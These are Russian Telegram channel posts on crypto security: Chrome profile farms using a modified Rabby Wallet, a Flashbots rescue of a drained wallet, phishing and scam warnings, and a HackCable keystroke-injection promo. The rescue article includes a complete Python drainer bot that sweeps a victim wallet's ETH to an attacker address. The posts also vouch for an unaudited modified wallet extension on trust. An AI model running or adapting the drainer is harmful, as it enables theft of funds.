🔸Безопасность в интернете в сферах web 2.0,и web 3.0
🔸Крипто безопасность, фермы, способы обезопасить себя от рисков потерять свои средства.
🔸Утилиты и софт
🔸Новости и новинки в мире безопасности
🔸Статьи и мануалы по безопасности
🔸 ...
Please open Telegram to view this post
VIEW IN TELEGRAM
Несколько дней тому назад (25.01.2025г.) взломали ADS Power. Инфо шума по этому поводу было много и в каждой группе кто то потерял свои средства. Этот момент еще раз говорит о базовой подготовке, и о ваших способностях, чтобы противостоять хакеру или не быть скомпрометированным.
🔝Создаем Google Farm взамен AdsPower и другим антикам.
Повышаем свою безопасность и настраиваемся на работу через google chrome profiles.
©️Весь ликбез был взят с канала автора Darvin Notes | Meow DAO, за что ему огромное спасибо.
Информация была дополнена и добавлена на канал.
1️⃣ Скачиваем официальный google chrome - https://www.google.com/intl/ru_ru/chrome
❗️при скачивании убираем галку с надписи - отправка автоматической статистики - отправлять мы ее не будем.
2️⃣ Устанавливаем Google Chrome и создаем профили: жмем на иконку человечка справа и в выпадающем меню снизу выбираем - добавить профиль
❗️ Когда высветится окно, выбираем - продолжить без входа в аккаунт
3️⃣ Создаем необходимое количество профилей.
В настройках каждого из профилей выполняем настройки:
в адресной строке пишем:
◽️
и отключаем ползунок с - Разрешить вход в Chrome
◽️
◽️ менеджер паролей - удаляем если есть сохраненные ранее пароли
◽️
и убираем ползунок с - Автоматический вход
◽️
◽️
◽️
4️⃣ Скачиваем модифицированный Rabby Wallet от Darvin,
🫡 через него нельзя угнать сид фразу или приватный ключ.
Скачиваем и Распаковываем файл с Github dist.zip
В Google Chrome, в необходимом нам профиле, пишем:
◽️
Выбираем сверху слева - Загрузить распакованное расширение и выбираем распакованное ранее в папку расширение с модифицированным Rabby Wallet от Darvin (version - Rabby Wallet 0.92.58)
#Ферма
• Канал CryptoHooligans • Чат
Повышаем свою безопасность и настраиваемся на работу через google chrome profiles.
©️Весь ликбез был взят с канала автора Darvin Notes | Meow DAO, за что ему огромное спасибо.
Информация была дополнена и добавлена на канал.
❗️при скачивании убираем галку с надписи - отправка автоматической статистики - отправлять мы ее не будем.
❗️ Когда высветится окно, выбираем - продолжить без входа в аккаунт
В настройках каждого из профилей выполняем настройки:
в адресной строке пишем:
chrome://settings/syncSetupи отключаем ползунок с - Разрешить вход в Chrome
chrome://settings/manageProfile - можно создать ярлык на раб столchrome://password-manager/settings - убираем ползунок с - Предлагать сохранение паролей и ключей доступа и убираем ползунок с - Автоматический вход
chrome://settings/onStartup - Запуск Chrome - Выбираем - ранее открытые вкладки.chrome://settings/content/automaticDownloads - Ставим запрет на автоматическое скачиваниеchrome://settings/downloads - Включаем опцию "всегда спрашивать куда сохранять файл"🫡 через него нельзя угнать сид фразу или приватный ключ.
Скачиваем и Распаковываем файл с Github dist.zip
В Google Chrome, в необходимом нам профиле, пишем:
chrome://extensions - включаем сверху справа ползунок - режим разработчика.Выбираем сверху слева - Загрузить распакованное расширение и выбираем распакованное ранее в папку расширение с модифицированным Rabby Wallet от Darvin (version - Rabby Wallet 0.92.58)
#Ферма
• Канал CryptoHooligans • Чат
Please open Telegram to view this post
VIEW IN TELEGRAM
Продолжаем настройку Google Farm Profiles:
5️⃣ Создаем новый кошелек:
На соседнем устройстве скачиваем Rabby wallet официальная ссылка - rabby.io
Ждем пока установиться расширение.
❗️Отключаем физически интернет ❗️
Выбираем создание нового кошелька и записываем SEED фразу в бумажный блокнот.
❗️ Не включая интернет входим в rabby Wallet и копируем PrivateKey на флешку.
🔹Запускаем командную строку CMD для очистки буфера обмена: в Cmd пишем команду - echo off | clip либо cmd/c echo off | clip
❕ Для очистки буфера есть специальные утилиты - Clear Clipboard, GuardBuferCleaner, ClipTTL
🔹Удаляем расширение Rabby Wallet и включаем интернет для дальнейших действий.
На ПК, где установлен модифицированный Rabby Wallet -
❗️физически отключаем интернет ❗️
Запускаем Rabby Wallet и выбираем войти по Приватному ключу -
Запросит установку пароля на вход - устанавливаем сложный и надежный пароль со спец символами, большими и маленькими буквами, от 10 символов и больше. С флешки копируем Private key в модифицированный Rabby Wallet.
🔹Запускаем командную строку CMD для очистки буфера обмена: в Cmd пишем команду - echo off | clip либо cmd/c echo off | clip
Проверяем, что кошелек подгрузился. Включаем интернет.
6️⃣ Устанавливаем дополнения:
♦️UPD - Более не доступен в Google play market -Proxy SwitchyOmega - для того чтобы прописать свой Proxy: https://chromewebstore.google.com/detail/proxy-switcyomega/padekgcemlokbadohgkifijomclgjgif
После установки пропускаем гайд по настройке, закрепляем расширение. Переходим из главного меню в пункт Profiles\Proxy и вбиваем данные прокси, логин и пароль спрятаны за пиктограммой замка.
Переходим из главного меню во вкладку Interface и выбираем Startup Profile\Proxy Переходим из главного меню во вкладку General и отключаем первую галку - Show count of failed web requests for resources in the current tab.
Устанавливаем Proxy-Cheap Proxy Manager
Проверяем прокси - Закрываем браузер и снова запускаем его - Открываем ресурс - https://2ip.ru / whatismyipaddress.com и сравниваем полученный IP с нашим IP из прокси (должны быть идентичны)
а также можно проверить - если расширение горит синим цветом - значит прокси работает.
7️⃣ Подмена железа:
♦️User-Agent профиля - скачиваем расширение - Random User-Agent (Switcher).
#Ферма
• Канал CryptoHooligans • Чат
На соседнем устройстве скачиваем Rabby wallet официальная ссылка - rabby.io
Ждем пока установиться расширение.
❗️Отключаем физически интернет ❗️
Выбираем создание нового кошелька и записываем SEED фразу в бумажный блокнот.
❗️ Не включая интернет входим в rabby Wallet и копируем PrivateKey на флешку.
🔹Запускаем командную строку CMD для очистки буфера обмена: в Cmd пишем команду - echo off | clip либо cmd/c echo off | clip
🔹Удаляем расширение Rabby Wallet и включаем интернет для дальнейших действий.
На ПК, где установлен модифицированный Rabby Wallet -
❗️физически отключаем интернет ❗️
Запускаем Rabby Wallet и выбираем войти по Приватному ключу -
Запросит установку пароля на вход - устанавливаем сложный и надежный пароль со спец символами, большими и маленькими буквами, от 10 символов и больше. С флешки копируем Private key в модифицированный Rabby Wallet.
🔹Запускаем командную строку CMD для очистки буфера обмена: в Cmd пишем команду - echo off | clip либо cmd/c echo off | clip
Проверяем, что кошелек подгрузился. Включаем интернет.
♦️UPD - Более не доступен в Google play market -
После установки пропускаем гайд по настройке, закрепляем расширение. Переходим из главного меню в пункт Profiles\Proxy и вбиваем данные прокси, логин и пароль спрятаны за пиктограммой замка.
Переходим из главного меню во вкладку Interface и выбираем Startup Profile\Proxy Переходим из главного меню во вкладку General и отключаем первую галку - Show count of failed web requests for resources in the current tab.
Устанавливаем Proxy-Cheap Proxy Manager
Проверяем прокси - Закрываем браузер и снова запускаем его - Открываем ресурс - https://2ip.ru / whatismyipaddress.com и сравниваем полученный IP с нашим IP из прокси (должны быть идентичны)
а также можно проверить - если расширение горит синим цветом - значит прокси работает.
♦️User-Agent профиля - скачиваем расширение - Random User-Agent (Switcher).
#Ферма
• Канал CryptoHooligans • Чат
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
Автор статьи канал cppmyk.inc.
В криптовалютном сообществе частенько можно наткнуться на людей, у которых украли приватный ключ или сид-фразу от одного или нескольких кошельков. Обычно в таком случае кошелек моментально лишается содержимого, но бывает и иначе, когда хакер не выводит все средства из кошелька которые, например, лежат в лендинговом протоколе или же пока еще не доступны для получения в случае дропов.
Задача по возвращению оставшихся средств со взломанного кошелька, хоть и кажется на первый взгляд довольно простой, на деле является практически невыполнимой для рядового пользователя. Виной тому запущенный дрейнер, который ворует с кошелька жертвы нативный токен сети, как только она пытается перевести его для оплаты комиссии.
Для человека, сколько-нибудь подкованного в программировании, разобраться с вышеупомянутой проблемой не представляет особой сложности, если он знаком с алгоритмом решения.
В данной статье мы разберем, что из себя представляет дрейнер и как с ним бороться. Иными словами, предоставим алгоритм спасения средств из скомпрометированного кошелька и его реализацию на языке Python.
Все примеры будут разобраны на блокчейне Ethereum.
Код на GitHub: link.
Дрейнер (drainer/sweeper) — программное обеспечение, которое постоянно следит за изменениями баланса кошелька жертвы и ворует средства сразу после их поступления на счет, тем самым препятствуя попыткам жертвы забрать оставшиеся активы.
В большинстве случаев реализация такого софта достаточно примитивная и не требует глубокого понимания работы блокчейна. Один из вариантов разберем далее.
Алгоритм.
Начнем с алгоритма:
Следим за появлением нового блока.
Проверяем баланс кошелька жертвы.
Если хватает нативного токена для оплаты комиссии трансфера, воруем деньги с кошелька.
Переходим к пункту 1.
Реализация:
import time
from eth_account import Account
from eth_account.datastructures import SignedTransaction
from eth_account.signers.local import LocalAccount
from eth_typing import ChecksumAddress
from hexbytes import HexBytes
from web3 import Web3
from web3.types import Wei, TxParams
ETH_HTTP_URL: str = 'https://eth.llamarpc.com'
ETH_CHAIN_ID: int = 1
COMPROMISED_KEY: str = "private_key"
HACKER_ADDRESS: ChecksumAddress = Web3.to_checksum_address('address')
TRANSFER_GAS_LIMIT: int = 21000
w3: Web3 = Web3(Web3.HTTPProvider(ETH_HTTP_URL))
compromised: LocalAccount = Account.from_key(COMPROMISED_KEY)
def sweep() -> None:
gas_price: Wei = w3.eth.gas_price
account_balance: Wei = w3.eth.get_balance(compromised.address)
if account_balance < gas_price * TRANSFER_GAS_LIMIT:
return
transaction: TxParams = {
'chainId': ETH_CHAIN_ID,
'from': compromised.address,
'to': HACKER_ADDRESS,
'value': account_balance - (gas_price * TRANSFER_GAS_LIMIT),
'nonce': w3.eth.get_transaction_count(compromised.address),
'gas': TRANSFER_GAS_LIMIT,
'gasPrice': gas_price
}
signed: SignedTransaction = compromised.sign_transaction(transaction)
tx_hash: HexBytes = w3.eth.send_raw_transaction(signed.rawTransaction)
w3.eth.wait_for_transaction_receipt(tx_hash)
print(f'Sweep transaction: {tx_hash.hex()}')
def main() -> None:
block_filter = w3.eth.filter('latest')
interval = 1
while True:
for block_hash in block_filter.get_new_entries():
block = w3.eth.getBlock(block_hash)
print(f"New Block: {block.number}")
sweep()
time.sleep(interval)
Please open Telegram to view this post
VIEW IN TELEGRAM
if name == 'main':
main()
Такой неказистой реализации уже достаточно, чтобы среднестатистический пользователь бросил попытки спасения своих средств, так как вручную он это вряд ли сможет сделать.
Дрейнеры, разумеется, могут быть более изощренными. Например, они могут следить за пулом неподтвержденных транзакций с целью поиска взаимодействий с кошельком жертвы и более надежного предотвращения вывода активов. Но любые подобные реализации не могут ничего сделать против приватных пулов, которые мы рассмотрим далее.
3️⃣ Спасаем средства:
Мы уже поняли, что руками противостоять sweeper-боту — не лучшая затея. Поэтому попытаемся автоматизировать процесс спасения средств.
Для начала рассмотрим технологии, которые будут полезны для наших задач, затем разберем алгоритм и его реализацию на Python, после чего увидим результат на Etherscan.
Приватные пулы.
Ключевым элементом в борьбе с хакером является использование приватных пулов. Что же это такое?
При стандартном использовании сети пользователи отправляют подписанные транзакции нодам блокчейна, которые, в свою очередь, сохраняют их в структуре TxPool и начинают распространять между всеми подключенными пирами. Это делает мемпул полностью публичным и доступным каждому участнику сети, с некоторыми оговорками (частные ноды все-таки не имеют доступа ко всем неподтвержденным транзакциям из-за особенностей реализации).
Публичность дает возможность хакеру анализировать и фронтранить транзакции (ставить более высокий gas, за счет чего изменять свое положение в блоке), что будет мешать нам при попытке спасения средств.
Тут на помощь приходят приватные пулы, дающие следующие возможности:
Отправка транзакции в обход публичного мемпула.
Упаковка транзакций в так называемые бандлы (bundle, несколько транзакций в определенной последовательности).
Избегание оплаты за провалившиеся транзакции (они либо включены в блок и выполнены успешно, либо не включены вовсе, если пользователь явно не указал, что допускает фейл некоторых транзакций).
Идея работы приватных пулов:
Пользователь отправляет одну или несколько транзакций (bundle) Builder-у блоков.
Builder создает самый оптимальный блок из доступных транзакций.
Builder отправляет блок в Relay.
Relay, получивший много возможных блоков от различных Builder-ов, выбирает среди них самый оптимальный.
Relay отправляет блок Validator-у.
Validator, получивший блоки от различных Relay-ев, выбирает самый оптимальный.
Validator создает блок (если сейчас его очередь).
Схематически это выглядит примерно так: 1 и 2
Алгоритм.
Для примера представим следующую ситуацию: приватный ключ от нашего кошелька был украден, с баланса был выведен весь эфир, но при этом осталось некоторое количество ERC-20 токенов WETH, которые мы хотим вернуть себе.
Введем следующие обозначения:
Rescuer — кошелек-донор, с которого мы будем отправлять средства для покрытия комиссии на скомпрометированном аккаунте.
Compromised — кошелек, который был взломан хакером и контролируется дрейнером.
Теперь, когда мы узнали о приватных пулах, алгоритм спасения средств предельно прост:
Формируем бандл:
Депозит ETH для покрытия комиссии с кошелька Rescuer.
Взаимодействие с контрактом WETH и трансфер средств с Compromised на Rescuer.
Симулируем выполнение бандла через онлайн-симулятор (опционально, чтобы проверить его корректность).
Отправляем бандл билдеру.
Ждем включения в блок.
Если наш бандл является достаточно привлекательным для потенциального валидатора с точки зрения прибыльности (награда либо через комиссию, либо прямой перевод средств на его адрес), то мы с высокой вероятностью попадем в блок.
Следует также учитывать, какому билдеру вы отправляете, так как с некоторыми придется ждать включения в блок продолжительное время.
main()
Такой неказистой реализации уже достаточно, чтобы среднестатистический пользователь бросил попытки спасения своих средств, так как вручную он это вряд ли сможет сделать.
Дрейнеры, разумеется, могут быть более изощренными. Например, они могут следить за пулом неподтвержденных транзакций с целью поиска взаимодействий с кошельком жертвы и более надежного предотвращения вывода активов. Но любые подобные реализации не могут ничего сделать против приватных пулов, которые мы рассмотрим далее.
Мы уже поняли, что руками противостоять sweeper-боту — не лучшая затея. Поэтому попытаемся автоматизировать процесс спасения средств.
Для начала рассмотрим технологии, которые будут полезны для наших задач, затем разберем алгоритм и его реализацию на Python, после чего увидим результат на Etherscan.
Приватные пулы.
Ключевым элементом в борьбе с хакером является использование приватных пулов. Что же это такое?
При стандартном использовании сети пользователи отправляют подписанные транзакции нодам блокчейна, которые, в свою очередь, сохраняют их в структуре TxPool и начинают распространять между всеми подключенными пирами. Это делает мемпул полностью публичным и доступным каждому участнику сети, с некоторыми оговорками (частные ноды все-таки не имеют доступа ко всем неподтвержденным транзакциям из-за особенностей реализации).
Публичность дает возможность хакеру анализировать и фронтранить транзакции (ставить более высокий gas, за счет чего изменять свое положение в блоке), что будет мешать нам при попытке спасения средств.
Тут на помощь приходят приватные пулы, дающие следующие возможности:
Отправка транзакции в обход публичного мемпула.
Упаковка транзакций в так называемые бандлы (bundle, несколько транзакций в определенной последовательности).
Избегание оплаты за провалившиеся транзакции (они либо включены в блок и выполнены успешно, либо не включены вовсе, если пользователь явно не указал, что допускает фейл некоторых транзакций).
Идея работы приватных пулов:
Пользователь отправляет одну или несколько транзакций (bundle) Builder-у блоков.
Builder создает самый оптимальный блок из доступных транзакций.
Builder отправляет блок в Relay.
Relay, получивший много возможных блоков от различных Builder-ов, выбирает среди них самый оптимальный.
Relay отправляет блок Validator-у.
Validator, получивший блоки от различных Relay-ев, выбирает самый оптимальный.
Validator создает блок (если сейчас его очередь).
Схематически это выглядит примерно так: 1 и 2
Алгоритм.
Для примера представим следующую ситуацию: приватный ключ от нашего кошелька был украден, с баланса был выведен весь эфир, но при этом осталось некоторое количество ERC-20 токенов WETH, которые мы хотим вернуть себе.
Введем следующие обозначения:
Rescuer — кошелек-донор, с которого мы будем отправлять средства для покрытия комиссии на скомпрометированном аккаунте.
Compromised — кошелек, который был взломан хакером и контролируется дрейнером.
Теперь, когда мы узнали о приватных пулах, алгоритм спасения средств предельно прост:
Формируем бандл:
Депозит ETH для покрытия комиссии с кошелька Rescuer.
Взаимодействие с контрактом WETH и трансфер средств с Compromised на Rescuer.
Симулируем выполнение бандла через онлайн-симулятор (опционально, чтобы проверить его корректность).
Отправляем бандл билдеру.
Ждем включения в блок.
Если наш бандл является достаточно привлекательным для потенциального валидатора с точки зрения прибыльности (награда либо через комиссию, либо прямой перевод средств на его адрес), то мы с высокой вероятностью попадем в блок.
Следует также учитывать, какому билдеру вы отправляете, так как с некоторыми придется ждать включения в блок продолжительное время.
Please open Telegram to view this post
VIEW IN TELEGRAM
👍1
Реализация.
from eth_account.datastructures import SignedTransaction
from eth_typing import ChecksumAddress, BlockNumber
from flashbots import flashbot
from web3 import Web3, HTTPProvider
from eth_account.account import Account
from eth_account.signers.local import LocalAccount
from web3.contract import Contract
from web3.exceptions import TransactionNotFound
from web3.types import TxParams, Wei
from erc20_abi import ERC20_ABI
RESCUER_KEY: str = ""
COMPROMISED_KEY: str = ""
FLASHBOTS_KEY: str = ""
ETH_CHAIN_ID: int = 1
ETH_HTTP_URL: str = 'https://eth.llamarpc.com'
WETH_CONTRACT_ADDRESS: ChecksumAddress = Web3.to_checksum_address('0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2')
WETH_TRANSFER_GAS_LIMIT: int = 100000
ETH_TRANSFER_GAS_LIMIT: int = 21000
WETH_AMOUNT_TO_RESCUE: Wei = Web3.to_wei(0.001, 'ether')
rescuer: LocalAccount = Account.from_key(RESCUER_KEY)
compromised: LocalAccount = Account.from_key(COMPROMISED_KEY)
signer: LocalAccount = Account.from_key(FLASHBOTS_KEY)
w3: Web3 = Web3(HTTPProvider(ETH_HTTP_URL))
flashbot(w3, signer)
def build_erc20_transfer_transaction(sender_address: ChecksumAddress, destination_address: ChecksumAddress,
amount: Wei, gas_price: Wei, nonce: int) -> TxParams:
contract: Contract = w3.eth.contract(address=WETH_CONTRACT_ADDRESS, abi=ERC20_ABI)
tx: TxParams = contract.functions.transfer(destination_address, amount).build_transaction(
{
'from': sender_address,
'gas': WETH_TRANSFER_GAS_LIMIT,
'gasPrice': gas_price,
'nonce': nonce
}
)
return tx
def build_send_transaction(destination_address: ChecksumAddress, amount: Wei, gas_price: Wei, nonce: int) -> TxParams:
tx: TxParams = {
'to': destination_address,
'value': amount,
'gas': ETH_TRANSFER_GAS_LIMIT,
'gasPrice': gas_price,
'nonce': nonce,
'chainId': ETH_CHAIN_ID
}
return tx
def main():
print(f'Rescuer address: {rescuer.address}')
print(f'Compromised address: {compromised.address}')
print('-' * 100)
gas_price: Wei = w3.eth.gas_price
eth_to_cover_transfer: Wei = Wei(gas_price * WETH_TRANSFER_GAS_LIMIT)
rescuer_nonce: int = w3.eth.get_transaction_count(rescuer.address)
deposit_tx: TxParams = build_send_transaction(compromised.address, eth_to_cover_transfer, gas_price, rescuer_nonce)
deposit_tx_signed: SignedTransaction = rescuer.sign_transaction(deposit_tx)
compromised_nonce: int = w3.eth.get_transaction_count(compromised.address)
weth_transfer_tx: TxParams = build_erc20_transfer_transaction(compromised.address, rescuer.address,
WETH_AMOUNT_TO_RESCUE, gas_price, compromised_nonce)
weth_transfer_tx_signed: SignedTransaction = compromised.sign_transaction(weth_transfer_tx)
bundle = [
{'signed_transaction': deposit_tx_signed.rawTransaction},
{'signed_transaction': weth_transfer_tx_signed.rawTransaction},
]
while True:
block: BlockNumber = w3.eth.block_number
print(f'Simulating on block {block}')
try:
w3.flashbots.simulate(bundle, block)
print('Simulation successful.')
print()
except Exception as e:
print("Simulation error", e)
print(f"Sending bundle targeting block {block + 1}")
send_result = w3.flashbots.send_bundle(
bundle,
target_block_number=block + 1
)
print("bundleHash", w3.toHex(send_result.bundle_hash()))
stats_v2 = w3.flashbots.get_bundle_stats_v2(
w3.toHex(send_result.bundle_hash()), block
)
print("bundleStats v2", stats_v2)
try:
receipts = send_result.receipts()
print(f"Bundle was mined in block {receipts[0].blockNumber}")
break
except TransactionNotFound:
print(f"Bundle not found in block {block + 1}")
print('-' * 100)
print('Finished')
from eth_account.datastructures import SignedTransaction
from eth_typing import ChecksumAddress, BlockNumber
from flashbots import flashbot
from web3 import Web3, HTTPProvider
from eth_account.account import Account
from eth_account.signers.local import LocalAccount
from web3.contract import Contract
from web3.exceptions import TransactionNotFound
from web3.types import TxParams, Wei
from erc20_abi import ERC20_ABI
RESCUER_KEY: str = ""
COMPROMISED_KEY: str = ""
FLASHBOTS_KEY: str = ""
ETH_CHAIN_ID: int = 1
ETH_HTTP_URL: str = 'https://eth.llamarpc.com'
WETH_CONTRACT_ADDRESS: ChecksumAddress = Web3.to_checksum_address('0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2')
WETH_TRANSFER_GAS_LIMIT: int = 100000
ETH_TRANSFER_GAS_LIMIT: int = 21000
WETH_AMOUNT_TO_RESCUE: Wei = Web3.to_wei(0.001, 'ether')
rescuer: LocalAccount = Account.from_key(RESCUER_KEY)
compromised: LocalAccount = Account.from_key(COMPROMISED_KEY)
signer: LocalAccount = Account.from_key(FLASHBOTS_KEY)
w3: Web3 = Web3(HTTPProvider(ETH_HTTP_URL))
flashbot(w3, signer)
def build_erc20_transfer_transaction(sender_address: ChecksumAddress, destination_address: ChecksumAddress,
amount: Wei, gas_price: Wei, nonce: int) -> TxParams:
contract: Contract = w3.eth.contract(address=WETH_CONTRACT_ADDRESS, abi=ERC20_ABI)
tx: TxParams = contract.functions.transfer(destination_address, amount).build_transaction(
{
'from': sender_address,
'gas': WETH_TRANSFER_GAS_LIMIT,
'gasPrice': gas_price,
'nonce': nonce
}
)
return tx
def build_send_transaction(destination_address: ChecksumAddress, amount: Wei, gas_price: Wei, nonce: int) -> TxParams:
tx: TxParams = {
'to': destination_address,
'value': amount,
'gas': ETH_TRANSFER_GAS_LIMIT,
'gasPrice': gas_price,
'nonce': nonce,
'chainId': ETH_CHAIN_ID
}
return tx
def main():
print(f'Rescuer address: {rescuer.address}')
print(f'Compromised address: {compromised.address}')
print('-' * 100)
gas_price: Wei = w3.eth.gas_price
eth_to_cover_transfer: Wei = Wei(gas_price * WETH_TRANSFER_GAS_LIMIT)
rescuer_nonce: int = w3.eth.get_transaction_count(rescuer.address)
deposit_tx: TxParams = build_send_transaction(compromised.address, eth_to_cover_transfer, gas_price, rescuer_nonce)
deposit_tx_signed: SignedTransaction = rescuer.sign_transaction(deposit_tx)
compromised_nonce: int = w3.eth.get_transaction_count(compromised.address)
weth_transfer_tx: TxParams = build_erc20_transfer_transaction(compromised.address, rescuer.address,
WETH_AMOUNT_TO_RESCUE, gas_price, compromised_nonce)
weth_transfer_tx_signed: SignedTransaction = compromised.sign_transaction(weth_transfer_tx)
bundle = [
{'signed_transaction': deposit_tx_signed.rawTransaction},
{'signed_transaction': weth_transfer_tx_signed.rawTransaction},
]
while True:
block: BlockNumber = w3.eth.block_number
print(f'Simulating on block {block}')
try:
w3.flashbots.simulate(bundle, block)
print('Simulation successful.')
print()
except Exception as e:
print("Simulation error", e)
print(f"Sending bundle targeting block {block + 1}")
send_result = w3.flashbots.send_bundle(
bundle,
target_block_number=block + 1
)
print("bundleHash", w3.toHex(send_result.bundle_hash()))
stats_v2 = w3.flashbots.get_bundle_stats_v2(
w3.toHex(send_result.bundle_hash()), block
)
print("bundleStats v2", stats_v2)
try:
receipts = send_result.receipts()
print(f"Bundle was mined in block {receipts[0].blockNumber}")
break
except TransactionNotFound:
print(f"Bundle not found in block {block + 1}")
print('-' * 100)
print('Finished')
👍1
if name == "main":
main()
FLASHBOTS_KEY — это приватный ключ, который используется для подписания бандла. Он не обязан соответствовать какому-то реальному кошельку. Flashbots использует этот механизм в своей системе репутации пользователей.
Результат работы:
Что ж, проверим на практике.
Подождав некоторое время, бандл был включен в блок 19924093.
Транзакция с кошелька-донора (11-е место в блоке) - link.
Транзакция со скомпрометированного кошелька (12-е место в блоке) - link.
Как мы видим, транзакции были включены друг за другом, как мы и хотели. А кроме того, прошли в обход публичного пула транзакций, следовательно хакер бы их не увидел.
#Антидрейнер
• Канал CryptoHooligans • Чат
main()
FLASHBOTS_KEY — это приватный ключ, который используется для подписания бандла. Он не обязан соответствовать какому-то реальному кошельку. Flashbots использует этот механизм в своей системе репутации пользователей.
Результат работы:
Что ж, проверим на практике.
Подождав некоторое время, бандл был включен в блок 19924093.
Транзакция с кошелька-донора (11-е место в блоке) - link.
Транзакция со скомпрометированного кошелька (12-е место в блоке) - link.
Как мы видим, транзакции были включены друг за другом, как мы и хотели. А кроме того, прошли в обход публичного пула транзакций, следовательно хакер бы их не увидел.
#Антидрейнер
• Канал CryptoHooligans • Чат
Forwarded from Новости Кошелька
Мы запускаем рубрику #безопасность, где будем разбирать популярные схемы мошенничества. Цель рубрики — помочь вам защитить свои данные и избежать неприятностей
Начнём с простого: представьте, что вам написал знакомый с просьбой проголосовать за него в каком-нибудь конкурсе. К сообщению заботливо прикреплена ссылка, перейдя по которой можно оставить свой голос. Нажав на неё, вас перебросит на экран авторизации Telegram, где предложат ввести свои данные: номер телефона, код авторизации и ваш облачный пароль (вы же его установили, верно?). Кажется, что всё в порядке?
Не совсем. Сделав это, вы предоставите доступ к своему Telegram аккаунту мошенникам. Проголосовать, разумеется, не выйдет — скорее всего, вас просто перебросит обратно в диалог с жуликом
Как это работает? Мошенники создают поддельный интерфейс мессенджера, который выглядит как настоящий. Как только вы введёте в нём свои данные, они сразу окажутся в руках мошенника.
Что происходит дальше?
Мошенники не всегда действуют сразу. Они незаметно просматривают ваши чаты в поисках конфиденциальной информации — паролей (которые вы, возможно, храните в «Избранном»), личных сообщений и других чувствительных данных. Эти сведения могут быть использованы для доступа к вашим аккаунтам в социальных сетях или финансовых приложениях. Найдя необходимое, мошенник просто «выбросит» вас из аккаунта и начнёт отправлять вашим контактам те же сообщения, которые получили вы. Именно так и попался ваш знакомый и именно так мошенники распространяют эту схему
Как от этого защититься?
● Никогда не вводите данные от своего Telegram нигде, кроме официальных приложений.
● Если вам предлагают ввести ваши данные на каком-то сайте — стоит немедленно его покинуть (особенно, если вы уже залогинены в Telegram).
● Не храните пароли в «Избранном». Это небезопасно.
Следуя этим правилам вы значительно снизите риск попасть в ловушку. Берегите себя
Please open Telegram to view this post
VIEW IN TELEGRAM
❤1
В одной из групп был замечен пост про запуск проекта NEKO on BASE и раздачу токена $NEKO.
Требовалось выполнить несколько простых заданий в ТГ боте:
подписаться на 3 группы, написать NEKO TO MOON и указать адрес своего кошелька. Что может быть проще ? За эти действия вам начислялось 1000 $NEKO и за каждого приглашенного реферала добавляли по 1000 $NEKO.
Таким образом люди приглашая своих друзей и знакомых получали по 10000-50000 $NEKO.
Свой токен "команда"
Далее вы в ТГ боте нужно было нажать вывод на кошелек, указать свой адрес и вам отправляли ваши заветные токены прямо к вам на кошелек, красиво и просто, хомячек видит их на своем кошельке и думает о легких деньгах.
Проект обещал сделать свой DEX для обмена токена на сайте, указав, что такого то числа в 10 ч ожидайте, все будет! И ведь люди ждали...
В назначенный час X на сайте ничего не произошло, в Тг чате заблокировали возможность отправлять сообщения - еще один 🏴☠️ ред флаг! (Бывает так делают, чтобы люди не спамили в группу одними и теми же вопросами, когда же вы уже запустите DEX? Но это не наш случай.) После 20-30 минут ожидания в ТГ группе админ написал что приносим свои извинения, и все будет, но через час, подождите... Прошел час, ничего не поменялось, кроме измененного сообщения уже на 2ч :) Примерно через 2,5-3ч томления хомячков админ выкладывает пост, что якобы поступило много запросов о том, что люди не успели в отведенный ранее срок запросить вывод своих драгоценных токенов на кошельки (интересно каким образом они писали в группу, где заблокировали возможность это делать? Дискорда у них нет и в X сообщений тоже не было) - 🏴☠️ред флаг! И они такие хорошие дают возможность сделать вывод всем, кто не успел это сделать ранее, подогревая интерес, что все будет, просто ждите анонсов.
Затем спустя 7-8ч томления админ пишет в группе что все практически готово, вывод на кошельки снова закрыт, ожидайте запуска DEX. Проходит еще 2 ч, хомячки начинают терять терпение и вуаля админ резко переобувается и выкладывает пост как произвести обмен через ТГ бота!
и после того как вы нам все отправите мы отправим вам USDT в течении 72ч на ваш кошелек
Кошелек предприимчивого мошонника - и ведь люди отсылали свои деньги (300$ уже им удалось получить в свой карман), надеясь до последнего, что им удастся получить свой профит, да, жажда наживы часто затмевает светлый взор и растворяет трезвость ума...
Подведем итоги:
часто пишут о помойных постах и проектах в ТГ, убедились еще раз, что из них 99% - это развод. Всегда нужно смотреть трезвым взглядом, без розовых очков, не терять бдительность и не игнорировать ред флаги. Похожие случаи есть, когда на сайте зашивают дрейнер и при подключении вашего кошелька все средства улетают на адрес фокусника, тут даже не удосужились напрячься созданием такового, а просто написали ТГ бота... Затраты копеечные, профит хоть и небольшой, но уже есть, если бы не жадничали и например запросили 0,6 $ за комиссии - то людей было бы гораздо больше кто отправил бы им на покушать. (пример 50000 по 0,6$ - профит 30000$).
#Безопасность #РазводНаДеньги
• Канал CryptoHooligans • Чат
Please open Telegram to view this post
VIEW IN TELEGRAM
👍2💯1
HackCable — устройство с Kickstarter, которое выглядит как обычный провод, но скрывает целый арсенал для этичного хакинга: инъекции нажатий клавиш, Wi-Fi-управление через смартфон и полный контроль над целевым устройством. Все это в формате привычного зарядного кабеля, который не привлечет внимания даже самого параноидального админа.
Переходник с USB-A на USB-C — самая обычная вещь в наше время. Но что, если этот кабель умеет не только заряжать смартфон или передавать данные, но и перехватывать нажатия клавиш, а еще сам иногда становится клавиатурой и что‑то печатает? Встречай HackCable — проект, который уже набрал на Kickstarter необходимую для производства сумму и готовится к выпуску. Сбор средств официально закроется в субботу, 16 февраля.
Кабель выйдет в двух версиях: с модулем Wi-Fi на базе ESP32 для удаленного перехвата и в варианте с чипом RP2040 для локальных задач. Обе модификации поддерживают Python и работают с устройствами на Windows, macOS, Linux, Android и iOS.
Обе версии используют один принцип — представление себя как HID-устройство. Это позволяет вводить команды напрямую, обходя антивирусы и системы обнаружения.
Предполагается, что HackCable будет неотличим от обычного переходника с USB-A на USB-C.
Обычная версия (RP2040)
Процессор: двухъядерный ARM Cortex-M0+ с тактовой частотой до 133 МГц
Память: 2 Мбайт встроенной QSPI Flash и 264 Кбайт SRAM
Порты ввода‑вывода: полноскоростная поддержка USB 1.1 в режиме хоста и устройства, 26 многофункциональных GPIO-пинов
Цифровые интерфейсы: один интерфейс I2C, два интерфейса SPI, два интерфейса UART и поддержка PWM на большинстве GPIO-пинов
